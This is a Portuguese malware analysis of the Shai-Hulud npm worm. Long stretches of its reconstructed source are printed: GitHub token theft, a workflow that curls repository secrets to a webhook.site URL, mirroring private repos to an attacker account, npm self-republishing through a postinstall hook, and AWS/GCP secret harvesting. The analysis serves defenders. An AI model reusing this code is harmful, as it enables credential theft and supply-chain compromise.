Anatomia de um Malware Multi-Vetor: Shai-Hulud, o Worm do Deserto

Análise técnica de malware JS encontrado em pacote NPM comprometido — roubo de token GitHub, injeção de workflow, migração de repositórios, supply chain via NPM, scan de secrets com TruffleHog e varredura de AWS/GCP


Contexto

Estava Eu vivendo minha vidinha de agiotagem e organizador de rinha de Louva-a-Deus quando Mano Vdgonc veio me perguntar se Eu tinha um sample do Shai-Hulud… Eu não tinha, mas sabia para quem/onde pedir.

O que parecia um dump ofuscado revelou um malware multi-vetor em 5 estágios simultâneos: roubo de token GitHub, injeção de workflow malicioso (que exfiltra GitHub Actions secrets), migração completa de repositórios privados, propagação via supply chain NPM, e varredura de secrets managers da AWS e GCP.

Um webpack bundle com mais de 1000 módulos embutindo SDKs completos da AWS, Google Cloud, GitHub (Octokit) e o scanner de secrets TruffleHog.

O nome não é aleatório: Shai-Hulud é como os Fremen chamam os vermes da areia no Mundo de Duna — criaturas que devoram tudo no caminho e se movem sob a superfície sem serem detectadas.

Este artigo tenta desconstruir cada módulo do bundle com o fluxo completo de execução.

Espero que gostem da Leitura.


Arquitetura Geral

[node bundle.js executado via postinstall ou direto]
         │
         ├─► GitHubModule
         │     ├─ Rouba GITHUB_TOKEN (env ou gh auth token)
         │     ├─ Injeta .github/workflows/shai-hulud-workflow.yml em TODOS os repos
         │     │     └─ Workflow captura $ → exfiltra via webhook.site
         │     ├─ Migra TODOS os repos privados para conta do atacante (git clone --mirror)
         │     └─ Cria repo público "Shai-Hulud" com todos os dados exfiltrados
         │
         ├─► NpmModule (propagação)
         │     ├─ Valida token NPM
         │     ├─ Lista pacotes do maintainer
         │     └─ Para cada pacote: baixa → injeta bundle.js → bump version → npm publish
         │
         ├─► AWSModule
         │     ├─ Lê ~/.aws/credentials e ~/.aws/config (todos os profiles)
         │     ├─ GetCallerIdentity para cada profile
         │     └─ Varre 14 regiões: ListSecrets + GetSecretValue (TODOS os secrets)
         │
         ├─► GCPModule
         │     ├─ Autentica via ADC (Application Default Credentials)
         │     └─ ListSecrets + AccessSecretVersion (TODOS os secrets)
         │
         └─► TruffleHogModule
               ├─ Baixa binário oficial do TruffleHog (via GitHub Releases)
               ├─ Extrai, executa scan no filesystem (90s timeout)
               └─ Remove binário após scan (evidência zero em disco)

Ponto de Entrada — main()

A função main() é chamada automaticamente ao carregar o bundle. A orquestração completa:

async function main() {
  const sysInfo = getSystemInfo();                    // OS, arch, platform
  const github  = new GitHubModule();                 // Módulo 82036
  const aws     = new AWSModule();                    // Módulo AWS
  const gcp     = new GCPModule();                    // Módulo GCP
  const truffle = new TruffleHogModule();             // Módulo 94913
  const npm     = new NpmModule(process.env.NPM_TOKEN);

  // ===== VETOR 1: GITHUB =====
  // Só executa em Linux/Mac (ignora Windows para evasão)
  if (github.isAuthenticated() && (isLinux() || isMac())) {
    const token = github.getCurrentToken();
    const user  = await github.getUser();

    // Só prossegue se for token classic PAT (ghp_) ou OAuth (gho_)
    if (token && (token.startsWith("ghp_") || token.startsWith("gho_")) && user) {
      // Injeta workflow malicioso em TODOS os repositórios
      await github.extraction(token);

      // Para CADA organização do usuário, rouba TODOS os repositórios
      for (const org of await github.getOrgs())
        await github.migration(user.login, org, token);
    }
  }

  // ===== VETOR 2: NPM (supply chain) + VETOR 3: TRUFFLEHOG =====
  // Executam em paralelo
  const [npmResult, truffleResult] = await Promise.all([
    (async () => {
      const username = await npm.validateToken();
      if (username && (isLinux() || isMac())) {
        const packages = await npm.getPackagesByMaintainer(username, 20);
        // Injeta malware em cada pacote e republica
        await Promise.all(packages.map(pkg => npm.updatePackage(pkg)));
      }
      return { npmUsername: username, npmTokenValid: !!username };
    })(),
    (async () => {
      if (process.env.SKIP_TRUFFLE) return null;
      const available = await truffle.isAvailable();  // instala se necessário
      const version   = await truffle.getVersion();
      const results   = available ? await truffle.scanFilesystem() : null;
      return { available, installed: truffle.isInstalled(), version, results };
    })()
  ]);

  // ===== VETOR 4: AWS =====
  let awsSecrets = [];
  if (await aws.isValid())
    awsSecrets = await aws.getAllSecretValues();  // TODOS os secrets, 14 regiões

  // ===== VETOR 5: GCP =====
  let gcpSecrets = [];
  if (await gcp.isValid())
    gcpSecrets = await gcp.getAllSecretValues();  // TODOS os secrets GCP

  // ===== EXFILTRAÇÃO FINAL =====
  const payload = {
    system: {
      platform: sysInfo.platform,
      architecture: sysInfo.architecture,
      platformDetailed: sysInfo.platformRaw,
      architectureDetailed: sysInfo.archRaw
    },
    environment: process.env,         // ← TODAS as variáveis de ambiente
    modules: {
      github: {
        authenticated: github.isAuthenticated(),
        token: github.getCurrentToken(),    // ← TOKEN GITHUB EM TEXTO PURO
        username: github.getUser()
      },
      aws:    { secrets: awsSecrets },      // ← TODOS secrets AWS
      gcp:    { secrets: gcpSecrets },      // ← TODOS secrets GCP
      truffleHog: truffleResult,            // ← RESULTADO DO SCAN
      npm: {
        token: process.env.NPM_TOKEN,       // ← TOKEN NPM
        authenticated: npmResult.npmTokenValid,
        username: npmResult.npmUsername
      }
    }
  };

  // Commit final: repo público "Shai-Hulud" com TUDO
  if (github.isAuthenticated())
    await github.makeRepo("Shai-Hulud", JSON.stringify(payload, null, 2));

  process.exit(0);
}
main().catch(() => process.exit(0));  // nunca levanta exceção visível

Cada catch silencioso e o process.exit(0) garantem que o processo sempre termina com código 0 — sem logs de erro, sem alertas.


Módulo 1: GitHubModule — O Coração do Ataque

1.1 Roubo de Token

getToken() {
  // Vetor 1: variável de ambiente
  const token = process.env.GITHUB_TOKEN;
  if (token) return token;

  // Vetor 2: GitHub CLI (gh auth token)
  try {
    const token = execSync("gh auth token", {
      encoding: "utf8", stdio: "pipe"
    }).trim();
    if (token) return token;
  } catch {}

  return null;
}

Dois vetores: GITHUB_TOKEN do ambiente (comum em CI/CD) e gh auth token da CLI do GitHub (máquinas de desenvolvedor). Se nenhum existir, o módulo GitHub simplesmente não executa — falha silenciosamente.

1.2 Enumeração de Organizações

async getOrgs() {
  try {
    return (await this.octokit.rest.orgs.listForAuthenticatedUser({
      per_page: 100
    })).data.map(org => org.login);
  } catch {
    return [];
  }
}

Lista todas as organizações que o token tem acesso. Cada uma será alvo da migração completa.

1.3 extraction(token) — Injeção de Workflow Malicioso

async extraction(token) {
  try {
    const fs = require("fs");
    const { spawn } = require("child_process");

    const scriptPath = "/tmp/processor.sh";
    fs.writeFileSync(scriptPath, PROCESSOR_BASH_SCRIPT, { mode: 0o755 });

    const env = { ...process.env };
    const args = [token];

    spawn(scriptPath, args, {
      env: env,
      detached: true,        // ← sobrevive ao processo pai
      stdio: "ignore"        // ← sem output, invisível
    }).unref();              // ← não bloqueia o event loop
  } catch {}
}

Escreve o script em /tmp/processor.sh com permissão 755 e executa em background total: detached: true + unref() significa que o script continua rodando mesmo depois que o processo Node termina. Sem stdout/stderr capturado — invisível para qualquer monitoramento de processo.

O Script processor.sh — Linha por Linha

#!/bin/bash
GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

# O WORKFLOW MALICIOSO:
FILE_CONTENT=$(cat <<'EOF'
on:
  push:                                # dispara em QUALQUER push
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: |
        curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
        echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: $  # ← CAPTURA TODOS OS SECRETS DO REPO
EOF
)

O workflow é um stealer persistente de GitHub Actions Secrets:

  1. on: push — dispara automaticamente em qualquer push futuro
  2. $ — o GitHub Actions substitui isso pelo JSON completo de todos os secrets do repositório
  3. curl -d "$CONTENTS" → envia os secrets via POST para o webhook.site
  4. echo "$CONTENTS" | base64 -w 0 | base64 -w 0 → duplo base64 como fallback de exfiltração (aparece nos logs do workflow)

O script então:

# Verifica escopos necessários
# Precisa de 'repo' (acesso a repositórios) e 'workflow' (gerenciar workflows)
if [[ ! "$SCOPES" =~ "repo" ]]; then exit 1; fi
if [[ ! "$SCOPES" =~ "workflow" ]]; then exit 1; fi

# Lista TODOS os repositórios: owner, collaborator, organization_member
# Filtra por atualizados desde 2025 (scopo amplo, mas parece legítimo)
REPOS_RESPONSE=$(github_api GET \
  "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")

# Para CADA repositório:
for repo in $REPOS; do
  # 1. Obtém SHA do branch default
  BASE_SHA=$(github_api GET "/repos/$FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")

  # 2. Cria branch "shai-hulud" a partir do branch default
  github_api POST "/repos/$FULL_NAME/git/refs" \
    "{\"ref\": \"refs/heads/shai-hulud\", \"sha\": \"$BASE_SHA\"}"

  # 3. Upload do workflow malicioso no branch shai-hulud
  github_api PUT "/repos/$FULL_NAME/contents/$FILE_NAME" \
    "{\"message\": \"Add workflow\", \"content\": \"$FILE_CONTENT_B64\", \"branch\": \"shai-hulud\"}"
done

O workflow é injetado em um branch separado (shai-hulud), não no default. Isso significa que não aparece nos workflows ativos do repositório a menos que alguém faça push nesse branch ou crie um PR dele. É uma bomba-relógio: assim que qualquer push acontecer no repo (incluindo pushes legítimos de desenvolvedores), o workflow dispara.

1.4 migration(username, org, token) — Roubo de Código-Fonte

async migration(username, org, token) {
  const fs = require("fs");
  const { spawn } = require("child_process");

  const scriptPath = "/tmp/migrate-repos.sh";
  fs.writeFileSync(scriptPath, MIGRATION_BASH_SCRIPT, { mode: 0o755 });
  fs.mkdirSync("/tmp/github-migration");

  const env = { ...process.env };
  const proc = spawn(scriptPath, [username, org, token], {
    env: env,
    detached: true,        // ← background total
    stdio: "ignore"        // ← invisível
  });
  proc.unref();

  return {
    success: true,
    message: "Migration started in background",
    pid: proc.pid
  };
}

Mesmo padrão: escreve script, executa em background total. Desta vez o script é o roubo completo de código-fonte.

O Script migrate-repos.sh — Linha por Linha

#!/bin/bash
SOURCE_ORG="$1"     # Organização da vítima
TARGET_USER="$2"    # Conta do atacante
GITHUB_TOKEN="$3"   # Token roubado
PER_PAGE=100
TEMP_DIR="./temp$TARGET_USER"

# Lista TODOS os repositórios privados e internos da organização
get_all_repos() {
  local org="$1"
  local page=1
  while true; do
    response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=100&page=$page")
    # ... parse JSON, coleta full_name de cada repo ...
    if repos_count == 0: break
    page++
  done
}

# Cria repositório privado na conta do atacante
create_repo() {
  local repo_name="$1"
  github_api POST "/user/repos" "{
    \"name\": \"$repo_name\",
    \"description\": \"Shai-Hulud Migration\",
    \"private\": true,
    \"has_issues\": false,
    \"has_projects\": false,
    \"has_wiki\": false
  }"
}

# Torna o repositório PÚBLICO após migração
make_repo_public() {
  github_api PATCH "/repos/$TARGET_USER/$repo_name" "{\"private\": false}"
}

# Migra um repositório: clone → push → público
migrate_repo() {
  local source_clone_url="$1"   # https://TOKEN@github.com/vitima/repo.git
  local target_clone_url="$2"   # https://TOKEN@github.com/atacante/repo-migration.git
  local migration_name="$3"

  # 1. Clone completo do repositório vítima (--mirror = todos os branches + tags)
  git clone --mirror "$source_clone_url" "$TEMP_DIR/$migration_name"

  cd "$TEMP_DIR/$migration_name"

  # 2. Redireciona remote para a conta do atacante
  git remote set-url origin "$target_clone_url"

  # 3. Remove .github/workflows (apaga evidências)
  git config --unset core.bare
  git reset --hard
  if [[ -d ".github/workflows" ]]; then
    rm -rf .github/workflows
    git add -A
    git commit -m "Remove GitHub workflows directory"
  fi

  # 4. Push completo para o atacante
  git config core.bare true
  rm -rf *
  git push --mirror

  # 5. Limpeza local
  cd - >/dev/null
  rm -rf "$TEMP_DIR/$migration_name"
}

# Para cada repositório:
process_repositories() {
  for repo in $repos; do
    migration_name="${repo//\//-}-migration"    # org/repo → org-repo-migration

    auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
    auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"

    create_repo "$migration_name" && \
    migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name" && \
    make_repo_public "$migration_name"     # ← TORNA PÚBLICO!
  done
}

Três detalhes críticos:

  1. git clone --mirror — copia todos os branches, tags e refs. Clone completo, não só o branch default.

  2. Remove .github/workflows antes do push — o script sabe que o workflow malicioso foi injetado e remove a evidência do código roubado antes de publicar.

  3. make_repo_public — o repositório migrado é tornado público. Isso significa que o código-fonte privado da vítima fica acessível para qualquer pessoa na internet.

  4. Rate limit handling: se encontrar secondary rate limit (429), dorme 10 minutos (sleep 600) e retry — o script é paciente e resiliente.

1.5 makeRepo(name, data) — Exfiltração Final

async makeRepo(name, data) {
  try {
    // Cria repositório PÚBLICO "Shai-Hulud"
    const repo = (await this.octokit.rest.repos.createForAuthenticatedUser({
      name: name,
      description: "Shai-Hulud Repository.",
      private: false,           // ← PÚBLICO
      auto_init: false,
      has_issues: false,
      has_projects: false,
      has_wiki: false
    })).data;

    // Aguarda 3 segundos (GitHub rate limit prevention)
    await new Promise(r => setTimeout(r, 3000));

    // Commit com TODOS os dados exfiltrados em data.json
    if (data) {
      await this.octokit.rest.repos.createOrUpdateFileContents({
        owner: repo.owner.login,
        repo: repo.name,
        path: "data.json",
        message: "Initial commit",
        content: Buffer.from(
          Buffer.from(
            Buffer.from(data).toString("base64")
          ).toString("base64")
        ).toString("base64")     // ← DUPLO BASE64 (ofuscação)
      });
    }

    return {
      owner: repo.owner.login,
      repo: repo.name,
      url: repo.html_url,      // ← URL PÚBLICA com os dados
      createdAt: repo.created_at
    };
  } catch {
    return null;
  }
}

O payload final — data.json no repo “Shai-Hulud”:


Módulo 2: NpmModule — Supply Chain Attack

2.1 Validação de Token

async validateToken() {
  if (!this.token) return null;

  const response = await fetch("https://registry.npmjs.org/-/whoami", {
    method: "GET",
    headers: {
      Authorization: `Bearer ${this.token}`,
      "Npm-Auth-Type": "web",
      "Npm-Command": "whoami",
      "User-Agent": "npm/9.2.0 node/v..."    // ← user-agent falso do npm
    }
  });

  if (response.status === 401)
    throw new Error("Invalid NPM token");

  return (await response.json()).username || null;
}

Usa a API /-/whoami do registry NPM com user-agent forjado para parecer o cliente npm legítimo.

2.2 getPackagesByMaintainer(user, 20) — Enumeração

async getPackagesByMaintainer(username, limit = 10) {
  // Busca: "maintainer:<username>"
  const results = await this.searchPackages(`maintainer:${username}`, limit);
  const packages = [];

  for (const result of results) {
    const name = result.package?.name;
    const version = result.package?.version;
    const monthlyDownloads = result.downloads?.monthly || 0;

    // Obtém detalhes completos do pacote
    const detail = await this.getPackageDetail(name);
    const tarballUrl = detail.versions?.[version]?.dist?.tarball || "";

    packages.push({
      name, version, monthlyDownloads,
      weeklyDownloads: result.downloads?.weekly || 0,
      tarballUrl
    });
  }

  // Ordena por downloads mensais (prioriza pacotes populares)
  return packages.sort((a, b) => b.monthlyDownloads - a.monthlyDownloads);
}

Prioriza os pacotes mais populares do maintainer — máximo impacto com mínimo esforço.

2.3 updatePackage(pkg) — A Engenharia do Supply Chain

async updatePackage(pkg) {
  try {
    const { exec } = require("child_process");
    const { promisify } = require("util");
    const execAsync = promisify(exec);
    const fs = require("fs");
    const path = require("path");
    const os = require("os");

    // Verifica se 'tar' está disponível
    try { await execAsync("which tar"); }
    catch { return Buffer.alloc(0); }   // ← falha silenciosamente

    // 1. Baixa o tarball do pacote legítimo
    const response = await fetch(pkg.tarballUrl, {
      method: "GET",
      headers: {
        "User-Agent": this.userAgent,
        Accept: "*/*",
        "Accept-Encoding": "gzip, deflate, br"
      }
    });
    const tarballBuffer = Buffer.from(await response.arrayBuffer());

    // 2. Cria diretório temporário
    const tmpDir = await fs.promises.mkdtemp(
      path.join(os.tmpdir(), "npm-update-")
    );
    const tgzPath  = path.join(tmpDir, "package.tgz");
    const tarPath  = path.join(tmpDir, "package.tar");
    const newTgz   = path.join(tmpDir, "updated.tgz");

    try {
      // 3. Escreve tarball original em disco
      await fs.promises.writeFile(tgzPath, tarballBuffer);

      // 4. Descomprime .tgz → .tar
      await execAsync(`gzip -d -c ${tgzPath} > ${tarPath}`);

      // 5. Extrai package/package.json
      await execAsync(`tar -xf ${tarPath} -C ${tmpDir} package/package.json`);

      // 6. Lê e modifica package.json
      const pkgJsonPath = path.join(tmpDir, "package", "package.json");
      const pkgJsonRaw = await fs.promises.readFile(pkgJsonPath, "utf-8");
      const pkgJson = JSON.parse(pkgJsonRaw);

      // 7. BUMP DE VERSÃO (patch +1)
      if (pkgJson.version) {
        const parts = pkgJson.version.split(".");
        if (parts.length === 3) {
          const patch = parseInt(parts[2]);
          if (!isNaN(patch)) {
            pkgJson.version = `${parts[0]}.${parts[1]}.${patch + 1}`;
          }
        }
      }

      // 8. INJEÇÃO DO POSTINSTALL MALICIOSO
      if (!pkgJson.scripts) pkgJson.scripts = {};
      pkgJson.scripts.postinstall = "node bundle.js";

      // 9. Reescreve package.json modificado
      await fs.promises.writeFile(
        pkgJsonPath,
        JSON.stringify(pkgJson, null, 2)
      );

      // 10. Atualiza package.json no tar
      await execAsync(
        `tar -uf ${tarPath} -C ${tmpDir} package/package.json`
      );

      // 11. INJEÇÃO DO PRÓPRIO MALWARE COMO bundle.js
      const currentScript = process.argv[1];   // caminho deste arquivo
      if (currentScript && await fs.promises.access(currentScript)
            .then(() => true).catch(() => false)) {
        const bundleDest = path.join(tmpDir, "package", "bundle.js");
        const bundleContent = await fs.promises.readFile(currentScript);
        await fs.promises.writeFile(bundleDest, bundleContent);
        await execAsync(
          `tar -uf ${tarPath} -C ${tmpDir} package/bundle.js`
        );
      }

      // 12. Recompime .tar → .tgz
      await execAsync(`gzip -c ${tarPath} > ${newTgz}`);

      // 13. PUBLICA O PACOTE INFECTADO
      await execAsync(`npm publish ${newTgz}`);

      // 14. Limpeza — remove diretório temporário
      await fs.promises.rm(tmpDir, { recursive: true, force: true });

    } catch (err) {
      // Limpeza em caso de erro
      try { await fs.promises.rm(tmpDir, { recursive: true, force: true }); }
      catch {}
      throw err;
    }
  } catch (err) {
    throw new Error(`Failed to update package: ${err}`);
  }
}

O que este método faz, em resumo:

  1. Baixa o pacote legítimo do registry NPM
  2. Desempacota → modifica package.jsoninjeta postinstall: "node bundle.js"
  3. Copia a si mesmo (process.argv[1]) como bundle.js dentro do pacote
  4. Reempacotanpm publish → republica com versão patch+1

Impacto: Todo desenvolvedor que fizer npm install ou npm update do pacote legítimo recebe a versão infectada. O postinstall executa automaticamente após a instalação — sem interação do usuário.


Módulo 3: TruffleHogModule — Scanner de Secrets

3.1 Instalação Multi-Plataforma

class TruffleHogModule {
  constructor() {
    this.installedStatus = false;
    this.systemInfo = getSystemInfo();

    const binaryName = this.systemInfo.platform === "windows"
      ? "trufflehog.exe" : "trufflehog";
    this.binaryPath = path.join(process.cwd(), binaryName);
    this.checkIfInstalled();
  }

  mapArchitecture(arch) {
    switch (arch) {
      case "x64":   return "amd64";
      case "arm64": return "arm64";
      case "arm":   return "arm";
      case "x86":   return "386";
      default:      return "amd64";
    }
  }

  mapPlatform(platform) {
    switch (platform) {
      case "windows": return "windows";
      case "linux":   return "linux";
      case "mac":     return "darwin";
      default:        return "linux";
    }
  }

  async getLatestRelease() {
    // Consulta API do GitHub para última release oficial
    const response = await fetch(
      "https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest"
    );
    const { tag_name } = await response.json();
    const version = tag_name.replace("v", "");

    const platform = this.mapPlatform(this.systemInfo.platform);
    const arch = this.mapArchitecture(this.systemInfo.architecture);
    const fileName = `trufflehog_${version}_${platform}_${arch}.tar.gz`;

    return {
      version,
      downloadUrl: `https://github.com/trufflesecurity/trufflehog/releases/download/${tag_name}/${fileName}`,
      fileName
    };
  }

Suporte a: Windows (amd64, 386), Linux (amd64, arm64, arm), macOS (amd64, arm64). Baixa da release oficial do TruffleHog — impossível distinguir de um uso legítimo.

3.2 Download, Extração e Execução

  async install() {
    if (this.installedStatus) return true;

    const release = await this.getLatestRelease();
    const tarballPath = path.join(process.cwd(), release.fileName);

    // Download do binário
    await this.downloadFile(release.downloadUrl, tarballPath);

    // Extração: tar -xzf → chmod +x → rm tarball
    await this.extractBinary(tarballPath);

    return true;
  }

  async extractBinary(tarball) {
    const binaryName = this.systemInfo.platform === "windows"
      ? "trufflehog.exe" : "trufflehog";

    // Extrai o binário
    execSync(
      `tar -xzf "${tarball}" -C "${process.cwd()}" ${binaryName}`,
      { stdio: "pipe" }
    );

    // Torna executável (Linux/Mac)
    if (this.systemInfo.platform !== "windows") {
      execSync(`chmod +x "${this.binaryPath}"`, { stdio: "pipe" });
    }

    // Remove o tarball
    const rmCmd = this.systemInfo.platform === "windows"
      ? `del "${tarball}"` : `rm "${tarball}"`;
    execSync(rmCmd, { stdio: "pipe" });

    this.installedStatus = true;
  }

3.3 Scan e Autodestruição

  async scanFilesystem(targetPath = ".", timeoutMs = 90000) {
    return new Promise((resolve) => {
      let output = "";
      let errorOutput = "";
      let timedOut = false;
      let resolved = false;

      const safeResolve = (result) => {
        if (!resolved) { resolved = true; resolve(result); }
      };

      if (!this.installedStatus || !existsSync(this.binaryPath)) {
        return safeResolve({
          success: false,
          error: "TruffleHog binary not available"
        });
      }

      const args = [
        "filesystem", targetPath,
        "--json",
        "--results=verified"       // ← só secrets verificados
      ];

      const proc = spawn(this.binaryPath, args, {
        cwd: os.homedir(),          // ← scan a partir do home
        env: process.env,
        stdio: ["pipe", "pipe", "pipe"]
      });

      // Timeout: 90 segundos
      const timer = setTimeout(() => {
        timedOut = true;
        proc.kill("SIGTERM");
        setTimeout(() => {
          if (!proc.killed) proc.kill("SIGKILL");
          safeResolve({
            success: false,
            error: `Process terminated after ${timeoutMs}ms timeout`
          });
        }, 2000);
      }, timeoutMs);

      proc.stdout?.on("data", (chunk) => { output += chunk.toString(); });
      proc.stderr?.on("data", (chunk) => { errorOutput += chunk.toString(); });

      proc.on("close", (code) => {
        clearTimeout(timer);

        // AUTODESTRUIÇÃO: remove o binário após scan
        try {
          if (existsSync(this.binaryPath)) {
            require("fs").unlinkSync(this.binaryPath);
            this.installedStatus = false;
          }
        } catch {}

        if (!timedOut) {
          safeResolve({
            success: code === 0,
            output: output.trim() || undefined,
            error: code !== 0
              ? errorOutput || `Process exited with code ${code}`
              : undefined
          });
        }
      });
    });
  }

Quatro detalhes importantes:

  1. --results=verified — só retorna secrets que o TruffleHog conseguiu verificar como válidos (menos falsos positivos, mais impacto).

  2. Timeout de 90 segundos — evita que o scan rode indefinidamente e chame atenção.

  3. AutodestruiçãounlinkSync(this.binaryPath) remove o binário imediatamente após o scan. Nenhum artefato permanece em disco.

  4. Graceful degradation — mesmo se o scan falhar ou expirar, retorna o que conseguiu capturar.


Módulo 4: AWSModule — Varredura de 14 Regiões

4.1 Enumeração de Profiles

class AWSModule {
  constructor() {
    this.REGIONS = [
      "us-east-1", "us-east-2", "us-west-1", "us-west-2",
      "eu-west-1", "eu-west-2", "eu-west-3",
      "eu-central-1", "eu-north-1",
      "ap-southeast-1", "ap-southeast-2",
      "ap-northeast-1", "ap-northeast-2",
      "ap-south-1"
    ];
    this.secretsClients = new Map();
  }

  parseAwsProfiles() {
    const profiles = [];
    const configPaths = [
      path.join(os.homedir(), ".aws", "credentials"),
      path.join(os.homedir(), ".aws", "config")
    ];

    for (const configPath of configPaths) {
      if (!existsSync(configPath)) continue;

      try {
        const content = readFileSync(configPath, "utf-8");
        const matches = content.match(/\[(?:profile )?([^\]]+)\]/g);
        if (matches) {
          for (const match of matches) {
            const profile = match
              .replace(/\[(?:profile )?/, "")
              .replace("]", "");
            if (!profiles.includes(profile)) profiles.push(profile);
          }
        }
      } catch {}
    }

    // "default" sempre primeiro na lista
    if (profiles.includes("default")) {
      profiles.splice(profiles.indexOf("default"), 1);
      profiles.unshift("default");
    }

    return profiles;
  }

ambos os arquivos de configuração AWS: ~/.aws/credentials (credenciais) e ~/.aws/config (profiles SSO, roles). Extrai todos os profiles nomeados.

4.2 Autenticação e Validação

  async initialize() {
    if (this.callerIdentity) return true;  // já autenticado

    const profiles = [
      process.env.AWS_PROFILE || "default",
      ...this.parseAwsProfiles()
    ];

    // Tenta CADA profile até conseguir
    for (const profile of Array.from(new Set(profiles))) {
      try {
        const credentials = fromIni({ profile });
        const sts = new STSClient({
          region: "us-east-1",
          credentials
        });

        const identity = await sts.send(new GetCallerIdentityCommand({}));

        if (identity.UserId && identity.Account && identity.Arn) {
          this.callerIdentity = {
            userId: identity.UserId,
            account: identity.Account,
            arn: identity.Arn
          };
          this.profile = profile;
          this.stsClient = sts;
          return true;
        }
      } catch {}
    }

    return false;
  }

Usa GetCallerIdentity (STS) — não requer permissões especiais, sempre funciona com credenciais válidas. Armazena UserId, Account ID e ARN do principal autenticado.

4.3 Coleta de Secrets — 14 Regiões em Paralelo

  async listSecrets() {
    if (!await this.initialize()) return [];

    const secrets = [];
    const seenArns = new Set();

    for (const region of this.REGIONS) {
      try {
        const client = this.getSecretsClient(region);
        const response = await client.send(new ListSecretsCommand({}));

        for (const secret of response.SecretList || []) {
          if (secret.ARN && !seenArns.has(secret.ARN)) {
            seenArns.add(secret.ARN);
            secrets.push({
              name: secret.Name || "",
              arn: secret.ARN,
              description: secret.Description,
              lastChangedDate: secret.LastChangedDate
            });
          }
        }
      } catch (err) {
        // AccessDenied → para o scan (não tem permissão em nenhuma região)
        if (err.name === "AccessDeniedException" ||
            err.$metadata?.httpStatusCode === 403) {
          break;
        }
        // Outros erros → pula a região e continua
      }
    }

    return secrets;
  }

  async getSecretValue(secretId) {
    if (!await this.initialize()) return null;

    // Tenta extrair região do ARN
    let region = null;
    if (secretId.startsWith("arn:aws:secretsmanager:")) {
      const parts = secretId.split(":");
      if (parts.length > 3) region = parts[3];
    }

    const regionsToTry = region ? [region] : this.REGIONS;

    for (const region of regionsToTry) {
      try {
        const client = this.getSecretsClient(region);
        const response = await client.send(
          new GetSecretValueCommand({ SecretId: secretId })
        );

        return {
          name: response.Name || secretId,
          secretString: response.SecretString,     // ← VALOR DO SECRET
          secretBinary: response.SecretBinary,     // ← VALOR BINÁRIO
          versionId: response.VersionId
        };
      } catch {}
    }

    return null;
  }

  async getAllSecretValues() {
    const allSecrets = await this.listSecrets();
    const values = [];

    for (const secret of allSecrets) {
      const value = await this.getSecretValue(secret.arn);
      if (value) values.push(value);
    }

    return values;
  }

Estratégia de varredura:

  1. Lista secrets em cada região com ListSecretsCommand
  2. Para cada secret, obtém o valor com GetSecretValueCommand
  3. Se AccessDenied, para o scan completamente (sem permissão cross-region)
  4. Se outro erro (ex: região sem Secrets Manager), pula e continua

Módulo 5: GCPModule — Google Cloud

class GCPModule {
  constructor() {
    this.projectInfo = null;
    this.isValidCredentials = false;
    this.initialized = false;

    // Autenticação via ADC (Application Default Credentials)
    this.auth = new GoogleAuth({
      scopes: ["https://www.googleapis.com/auth/cloud-platform"]
    });

    this.secretsClient = new SecretManagerServiceClient();
  }

  async initialize() {
    if (this.initialized) return;

    try {
      const projectId = await this.auth.getProjectId();
      const client = await this.auth.getClient();

      if (projectId && client) {
        let email = undefined;
        if ("email" in client && typeof client.email === "string") {
          email = client.email;
        }

        this.projectInfo = { projectId, email };
        this.isValidCredentials = true;
      }
    } catch {
      this.isValidCredentials = false;
      this.projectInfo = null;
    } finally {
      this.initialized = true;
    }
  }

  async listSecrets() {
    if (!this.isValidCredentials || !this.projectInfo) return [];

    try {
      const [secrets] = await this.secretsClient.listSecrets({
        parent: `projects/${this.projectInfo.projectId}`
      });

      return secrets.map(secret => {
        const parts = secret.name?.split("/") || [];
        const secretId = parts[parts.length - 1] || "";

        return {
          name: secret.name || "",
          projectId: this.projectInfo.projectId,
          secretId: secretId,
          labels: secret.labels || undefined
        };
      });
    } catch {
      return [];
    }
  }

  async getSecretValue(secretId, version = "latest") {
    if (!this.isValidCredentials || !this.projectInfo) return null;

    try {
      const name = `projects/${this.projectInfo.projectId}/secrets/${secretId}/versions/${version}`;

      const [response] = await this.secretsClient.accessSecretVersion({ name });
      const payload = response.payload?.data?.toString();

      return {
        name,
        secretId,
        payload,                                            // ← VALOR DO SECRET
        version: response.name?.split("/").pop() || version
      };
    } catch {
      return null;
    }
  }

  async getAllSecretValues() {
    const secrets = await this.listSecrets();
    const values = [];

    for (const secret of secrets) {
      const value = await this.getSecretValue(secret.secretId);
      if (value) values.push(value);
    }

    return values;
  }
}

Usa Application Default Credentials — o mecanismo padrão do GCP que funciona automaticamente em:


O Fluxo Completo de Exfiltração

1. bundle.js é executado (postinstall ou direto)
         │
2. GitHubModule.getToken() → rouba GITHUB_TOKEN
         │
3. Se Linux/Mac + token válido:
   ├── extraction(token)
   │     └── /tmp/processor.sh executa em background (detached)
   │           └── Para cada repo do usuário:
   │                 ├── Cria branch "shai-hulud"
   │                 └── Injeta .github/workflows/shai-hulud-workflow.yml
   │                       └── No próximo push → $ → webhook.site
   │
   └── migration(username, org, token) — para cada org
         └── /tmp/migrate-repos.sh executa em background
               └── Para cada repo privado/interno:
                     ├── git clone --mirror
                     ├── git push --mirror → conta do atacante
                     ├── Remove .github/workflows (evidência)
                     └── Torna repo PÚBLICO
         │
4. Em paralelo:
   ├── NpmModule.updatePackage() × 20 pacotes
   │     └── Cada um: baixa → injeta bundle.js → bump version → npm publish
   │
   └── TruffleHogModule.scanFilesystem()
         └── Baixa TruffleHog → scan home dir → remove binário
         │
5. AWSModule.getAllSecretValues()
   └── Varre 14 regiões → ListSecrets → GetSecretValue
         │
6. GCPModule.getAllSecretValues()
   └── ListSecrets → AccessSecretVersion
         │
7. github.makeRepo("Shai-Hulud", JSON.stringify(ALL_DATA))
   └── Repositório PÚBLICO com:
         ├── Sistema: OS, arch, platform
         ├── process.env COMPLETO
